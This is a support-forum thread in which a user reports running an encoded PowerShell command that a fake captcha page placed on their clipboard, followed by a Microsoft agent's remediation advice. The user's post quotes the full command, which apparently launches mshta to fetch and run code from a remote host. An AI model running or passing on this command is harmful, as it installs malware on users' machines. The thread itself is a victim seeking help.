A website copied a PowerShell code and asked me to paste it in Run. It seems malicious.

Anonymous
2024-09-08T03:28:22+00:00

So I went to this website which is basically a YouTube to mp4 converter to download a video (link: https://ytmp3.so/en/youtube-4k-downloader ), and the website redirected me to this website https://syncstream.b-cdn.net/captcha-verify-v7.html which copied a Power shell code to my clipboard (code: powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYwBsAGkAYwBrAHQAbwBnAG8ALgBjAGwAaQBjAGsALwBkAG8AdwBuAGwAbwBhAGQAcwAvAHQAcgBhADEANAAiAA==), and told me to paste in 'run'. I don't know what came into my mind that I ran it without thinking about it being a virus. Can you please tell me if my pc is at risk? I've done scans but they don't show anything. I researched online but didn't find anything. My specs if required: AMD Ryzen 5 4600H, GTX 1650, 8GB RAM, 512GB SSD, Windows 11.

Windows for home | Windows 11 | Security and privacy

Locked Question. This question was migrated from the Microsoft Support Community. You can vote on whether it's helpful, but you can't add comments or replies or follow the question.

0 comments No comments

2 answers

Sort by: Most helpful
  1. Anonymous
    2024-09-09T02:31:59+00:00

    Dear SeaPlayz!

    Welcome to the Microsoft Community!

    What you are experiencing is indeed likely a malware attack. PowerShell commands are designed to perform scripts and automate tasks, but if they come from an untrusted source, they can be used to perform harmful actions such as installing malware, stealing information, or damaging your system.

    Here are some immediate actions you should take:

    1. Do not run the code again: Now that you are aware that it could be harmful, do not execute the code again.
    2. Perform a full scan: Although you have already performed a scan, malware can sometimes evade regular antivirus scans. Perform a deep scan with your antivirus software and make sure the virus definitions are up to date. You can also try additional scans with other security tools.
    3. Disconnect from the network: To prevent the malware from communicating with the outside world, you can temporarily disconnect from the network.
    4. Change passwords: Change the passwords for all important accounts, especially those that may be stored on your computer.
    5. Monitor account activity: Keep an eye out for any unusual account activity or unauthorized transactions.
    6. System restore: If possible, you can restore your system to a point in time before the code was executed.
    7. Back up important data: Back up important files to an external storage device in case you need to reinstall the system.
    8. Reinstall the operating system: If your computer still behaves abnormally, the most thorough solution may be to reinstall the operating system after backing up important data.

    Disclaimer: At this point, we have exhausted all troubleshooting and I recommend that we try to perform a clean install to get your computer back into a working condition. Please ensure that you backup any important data, including Documents, Pictures, Videos, and more.  

    Regarding the PowerShell code you provided, it is an encoded command. After decoding, it may contain any type of operation. Without decoding and carefully examining the code, we cannot be sure what it specifically does.

    If you are not sure how to deal with this issue safely, it is best to seek professional help.

    Finally, since you have already run the code, your computer is indeed at risk. Even if the current scan does not find any problems, malware may already be hiding in the system. Stay vigilant and take the above measures to protect your computer and data.

    Thank you for your understanding and support! 

    Best regards,

    Yang.Z - MSFT | Microsoft Community Support Specialist

    Was this answer helpful?

    3 people found this answer helpful.
    0 comments No comments
  2. Anonymous
    2024-11-12T11:57:59+00:00

    can the malware be easily identified by the mrt and be removed and if it does not get removed what should i do?

    Was this answer helpful?

    1 person found this answer helpful.
    0 comments No comments